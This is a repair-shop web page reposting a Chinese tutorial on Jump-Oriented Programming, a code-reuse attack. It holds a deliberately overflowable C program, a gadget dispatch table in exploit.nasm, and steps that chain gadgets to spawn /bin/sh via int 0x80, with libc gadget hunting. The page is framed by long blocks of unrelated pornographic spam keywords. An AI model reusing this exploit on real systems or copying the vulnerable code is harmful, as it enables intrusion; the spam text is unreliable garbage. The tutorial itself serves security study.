国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
JOP代碼復用攻擊

作者: 佚名  日期:2018-07-14 13:06:57   來源: 本站整理

 最近,我在研究代碼重用攻擊與防御,在此過程中發現對于rop(return-Oriented Programming)的介紹有許多,但jop(Jump-Oriented Programming)卻少有提及。即使有,多數也與rop混雜在一起。因此,我決定基于論文Jump-Oriented Programming: A New Class of Code-Reuse Attack完成一次演示。

 
一.什么是jop?
jop,全稱Jump-Oriented Programming,中文譯為面向跳轉編程,是代碼重用攻擊方式的一種。在2011年,北卡羅來納州立大學的Tyler Bletsch等人首次提出這一概念。其實際上是在代碼空間中尋找被稱為gadget的一連串目標指令,且其以jmp結尾。下圖展示了jop原理。

 
Dispatcher是形如下列形式的代碼塊
pcßf(pc);
jmp pc;
pc可以是任意地址或寄存器,用其作為跳轉目標。f(pc)表示對pc進行的操作,以下是一個例子。
inc eax;
jmp eax;
比如說首次跳轉到了dispatch table的第一項,將會在執行一些指令后通過結尾處的jmp跳轉回Dispatcher處,此時執行inc eax,eax值已改變,再次跳轉就可以調到其他地方執行相應指令。而這些gadget的圖靈完備性已被證明,也就是說,我們能通過這些gadget達到幾乎所有目的。那么,讓我們開始吧!
 
二.通過jop執行/bin/sh(簡單版)
系統環境
主機OS      :     4.4.0-116-generic內核Ubuntu 16.04  i686
 CPU           :      Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz
首先,我們來完成一個最簡版本的jop攻擊。
漏洞代碼vul.c
#include   
#include   
#include   
#include   
#include   
#include   
#include   
  
char* executable="/bin//sh";  
char* null="";  
FILE * fd;  
  
void attack_payload () {  
asm(".intel_syntax noprefix");  
//dispatcher  
asm("add ebp,edi; jmp [ebp-0x39];");  
  
//initializer  
asm("popa; jmp [ebx-0x3e];");  
  
//g00  
asm("popa; cmc; jmp [edx];");  
//g01  
asm("inc eax; cmc; jmp [edx];");  
//g02  
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");  
//g03  
asm("inc ebx; stc; jmp [edx];");  
//g07  
asm("popa; call dword ptr [ecx];");  
//g08  
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");  
//g09  
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");  
//g0a  
asm("int 0x80");  
  
asm(".att_syntax noprefix");  
}  
  
void overflow() {  
  char buf[256];  
  fscanf(fd,"%[^n]",buf);  
  return;  
}  
  
int main(int argc, char** argv) {  
  char* filename = "exploit";  
  if(argc>1) filename = argv[1];  
  fd=fopen(filename, "r");  
  overflow();  
}  
在此版本的演示中,所有gadget均由內聯匯編直接寫入,無需在代碼空間中尋找。
攻擊最終要執行execve(“/bin/sh”,argv,envp),函數原型為
int execve(const char *filename,char * const argv[],char * const envp[]);  
若要通過int  80執行它,需要有四個寄存器的參與:eax寄存器傳遞系統調用號0xb,ebx寄存器傳遞“/bin/sh”字符串的地址,ecx寄存器傳遞參數argv,edx寄存器傳遞環境變量envp。為此需要合理設置eax、ebx、ecx、edx等4個寄存器的值。具體步驟如下 
 = 1 * GB3 ①popa ; jmp  *-0x3e(%ebx)
緩沖區溢出會在相應位置設置好數據,popa將會將棧頂所有數據彈出到相應寄存器,
棧幀指向buff字符串,然后跳轉至攻擊起始處,即第二步。
 
 = 2 * GB3 ②add  %edi,%ebp; jmp  *-0x39(%ebp)
這時攻擊開始,此處ebp寄存器即對應圖4.2.5中的PC,edi寄存器已在上一步被設置為偏移量-4,跳轉到相應步驟,第一次將會跳到第三步。
 
= 3 * GB3 ③popa ; …… ; jmp *(%edx)
由于execve()的調用號為0x0000000b,包含’’,無法直接通過緩沖區溢出寫入eax寄存器,所以將會分階段寫入。這一步中,將會用popa設置相應寄存器,為寫入做準備,準備好一個中間變量,置為0xEEEEEE0b。將eax寄存器置為-1,并通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第四步。
 
 = 4 * GB3 ④inc %eax ; ……; jmp *(%edx)
這一步將eax寄存器加一,為后面的寫入做準備,通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第五步。
 
= 5 * GB3 ⑤mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
此時ah=0x00,mov操作將把中間變量中的第5,6位0xEE置為0x00, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第六步。
 
 = 6 * GB3 ⑥ inc %ebx ; …… ; jmp *(%edx)ebx寄存器加一,為下一步設置中間變量做準備, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第七步。

 
 = 7 * GB3 ⑦ mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作將把中間變量中的第3,4位0xEE置為0x00, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第八步。
 
 = 8 * GB3 ⑧ inc %ebx ; …… ; jmp *(%edx)
ebx寄存器加一,為下一步設置中間變量做準備, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第九步。
 
 = 9 * GB3 ⑨mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作將把中間變量中的第1,2位0xEE置為0x00, 中間變量此時為0x0000000b,通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第十步。
 
= 10 * GB3 ⑩popa ;…… ; jmp *(%ecx)
成功設置中間變量后,再次設置相應寄存器,通過ecx寄存器跳轉回第二步,執行之后步驟。
 
 ⑪xchg  %eax,%ecx ;……; jmp  *-0xf(%esi)
由于上一步需要ecx寄存器做跳轉,故交換eax,ecx, 通過esi寄存器跳轉回第二步,執行之后步驟。
 
⑫這個步驟無間接跳轉,將會把eax寄存器設置為中間變量值0xb,然后傳遞系統調用號,此時ebx寄存器指向“/bin/sh”,陷入80中斷,執行/bin/sh
exploit是由exploit.nasm文件生成的二進制文件,用作緩沖區溢出的輸入。

需要注意的只是它的前21行。
將vul.c編譯為可執行文件
gcc -g -fno-stack-protector -o vul vul.c
用gdb查看各地址

填入exploit.nasm
start:
; Constants:
base:                    equ 0xbfffef40           ; Address where this buffer is loaded under gdb
dispatcher:          equ 0x08048449        ; Address of the dispatcher gadget
initializer             equ dispatcher+5       ; Address of initializer gadget
to_executable:           equ 0x08048590        ; Points to the string “/bin/sh”
to_null:         equ 0x08048599        ; Points to a null dword (0x00000000)
buffer_length:            equ 0x100           ; Target program’s buffer size.
 
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52                    ; int 0x80
g09: dd dispatcher+43                   ; mov eax, [esi+0xc]          ; mov [esp], eax  ; call [esi+0x4]
g08: dd dispatcher+37                   ; xchg ecx, eax          ; fdiv st, st(3)      ; jmp [esi-0xf]
g07: dd dispatcher+33                   ; popa                         ; cmc                   ; jmp [ecx]
g06: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g05: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]
g04: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g03: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]

g02: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]
g01: dd dispatcher+14                  ; inc eax               ; fdivr st(1), st     ; jmp [edx]
g00: dd dispatcher+9                     ; popa                         ; fdivr st(1), st     ; jmp [edx]
生成exploit

gdb下運行vul,執行/bin/sh

 
三.進階
以上例子可以作為jop的一個例子,但實際上不能真實反映其特點。jop 的gadget并不直接存在于當前存在的指令中,而是依賴于對于opcode的另一種解讀,如glibc-2.19中,有如下源碼:

但使用ROPgadget對其進行gadget提取結果如下:

實際從0x683c7處開始將其解讀為
D5 FF            aad 0xff
FF                  jmp ecx
因此,我們需要去掉內聯匯編,直接在代碼空間中尋找gadget。
為此,我們需要使用ROPgadget工具。
sudo pip install ropgadget
我們將在libc中尋找gadget。查看其路徑并進行查找。

在gadget.txt中就能查找到各gadget的相對地址。





 為了計算其絕對地址,我們關閉地址隨機化。

顯然有system_addr – system_libc = xx_addr – xx_libc
反匯編查看可得system_libc

gdb可打印system地址

則可計算各絕對地址,填入exploit.nasm.

再次生成exploit,gdb下運行。 

至此,演示以全部完成。
源碼請自行下載https://pan.baidu.com/s/15CssPnl_Rv0VYCru3htF2Q
 

 



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    蜜桃传媒在线观看免费进入| 亚洲一区二区在线观看视频| 久久99欧美| h视频在线免费看| 久久理论电影网| 欧美大片在线播放| h动漫在线视频| 亚洲国产精品久久艾草纯爱| 秋霞电影一区二区| 国产伦精品一区二区三区四区免费| 国产农村一级特黄α**毛片| 国产成人午夜高潮毛片| 日韩中文字幕在线免费| 美女黄视频在线观看| 国产精品美女久久久久| 国产精品羞羞答答xxdd| 国产精品免费观看在线| 三级影片在线看| 国产成人精品123区免费视频| 国产一区二区三区丝袜 | 给我免费观看片在线电影的| 一区二区三区亚洲变态调教大结局 | 视频一区二区国产| 2019中文字幕全在线观看| 四虎成人免费影院| 欧美.日韩.国产.一区.二区| 久久免费精品视频| 99久久国产视频| 亚洲天堂a在线| 丰满少妇被猛烈进入高清播放| 国产成人禁片在线观看| 日日嗨av一区二区三区四区| 国产欧美日韩小视频| 天堂在线视频| 国产一区二区三区精品久久久| 午夜小视频在线播放| 国产一区导航| 午夜激情在线观看视频| 欧美亚洲色图校园春色| 天天成人综合网| 丰满大乳少妇在线观看网站| 国产成人精品久久二区二区91 | 国产精品免费视频一区二区 | 日韩福利一区| 久久精品一二三区| 成人精品国产亚洲| 日韩中文一区| 国产精品久久久久久久久久久久久久久| 欧美激情2020午夜免费观看| 国产精品老熟女一区二区| 久久porn| 国产成人av影视| 国产精品草草| www.色偷偷.com| 国产精品综合| 三级影片在线观看| 久久人人97超碰com| 在线观看国产黄| 色视频一区二区| 日韩精品一区二区三区国语自制| 99久久久国产精品| 成人在线观看一区二区| 国产一区二区三区在线看麻豆| 特大黑人巨人吊xxxx| www欧美成人18+| 老牛影视av牛牛影视av| 亚洲精品电影久久久| 香蕉视频在线免费| 好看的日韩精品视频在线| а√天堂资源国产精品| 欧美黄色免费影院| 日韩综合小视频| 亚洲免费网站观看视频| 成人短视频下载| 成人免费看黄网址| 中文字幕av一区二区三区| 天堂av一区二区三区| 日韩欧美在线观看视频| 久草在线免费二| 久久99精品久久久久久噜噜| 免费成人看片| 精品电影一区二区| 免费福利电影| 国产va免费精品高清在线| 久久久久亚洲av成人毛片韩| 粉嫩老牛aⅴ一区二区三区| 日韩乱码一区二区三区| 国产一区二区成人久久免费影院| 亚洲黄网在线观看| 亚洲性线免费观看视频成熟| 国产资源在线观看入口av| 亚洲精品自拍网| 亚洲一区在线观看视频| 一级视频在线观看视频在线啦啦 | 欧洲福利电影| 一区二区精品视频在线观看| 久久av资源网站| 中日韩免视频上线全都免费| 综合激情网五月| 亚洲制服丝袜av| 国产二级片在线| 久久久久免费精品| 黑人极品videos精品欧美裸| 男人在线视频资源| 亚洲精品视频三区| 欧美日韩成人激情| 少妇bbw搡bbbb搡bbbb| 精品蜜桃一区二区三区| 男女精品网站| 九色蝌蚪国产| 乱亲女秽乱长久久久| 欧美黄色录像片| 日本三级小视频| 国产高清在线不卡| 久久99国产乱子伦精品免费| 香艳视频网站| 亚洲最大天堂网| 亚洲精品在线电影| 精品视频久久| 国产大奶视频| 亚洲一区二区免费在线| 成人性色生活片| 国产日本在线视频| 95视频在线观看| 亚洲天堂成人在线视频| 91美女精品| jizzjizz日本少妇| 国产精品久久久91| 久久99这里只有精品| 日本视频在线观看一区二区三区 | 麻豆九一精品爱看视频在线观看免费| 久草在线免费资源| 欧美日韩在线中文| 91久久精品国产91性色tv | 欧美白人最猛性xxxxx| 日韩av中文字幕第一页| 91麻豆精品国产91久久久使用方法| 蜜芽tv福利在线视频| 中文字幕第4页| 国外成人在线播放| 久久精品综合网| 国产麻豆一区| 国产免费高清| 天堂一区在线观看| 久久免费视频在线| 久久久99精品免费观看不卡| 日韩美香港a一级毛片| 国产午夜三区视频在线| 欧美精品亚洲精品| 欧美日韩国产影片| 精品国产一区二区三区| 狠狠擦狠狠操| 亚洲国产精一区二区三区性色| 一区二区三区四区欧美日韩| 欧洲一区在线观看| 99国产精品久久久久久久| 9i精品一二三区| 香蕉久久一区二区三区| 波多野结衣家庭教师在线| 欧美激情奇米色| 日韩欧美在线视频| 久久尤物视频| heyzo中文字幕在线| 免费观看欧美成人禁片| 亚洲熟女少妇一区二区| 国产四区在线观看| 性欧美长视频免费观看不卡| 欧美黄色aaaa| 日韩网站中文字幕| 香蕉视频色版| 国产成人自拍一区| 国产福利在线导航| 欧美色图另类小说| 成人欧美在线视频| 亚洲欧美精品一区二区| 中文一区二区在线观看| 国产麻豆一区二区三区精品视频| 国产在线视频自拍| 韩国一区二区av| 7777奇米亚洲综合久久 | 国产亚洲成av人片在线观看| 欧美亚一区二区| 伊人成人在线| 免费黄色av| 99草在线视频| 911亚洲精选| 在线观看污视频| 国产自产自拍视频在线观看 | 欧美专区日韩视频| 亚洲国产精彩中文乱码av在线播放| 久久精品视频一区二区三区| 欧美不卡在线| 综合激情网...| 俄罗斯一级**毛片在线播放| 最近2018年手机中文在线| 国产在线视频自拍| 中文字幕精品无| 欧美69精品久久久久久不卡| 97在线国产视频| 精品视频在线观看一区二区|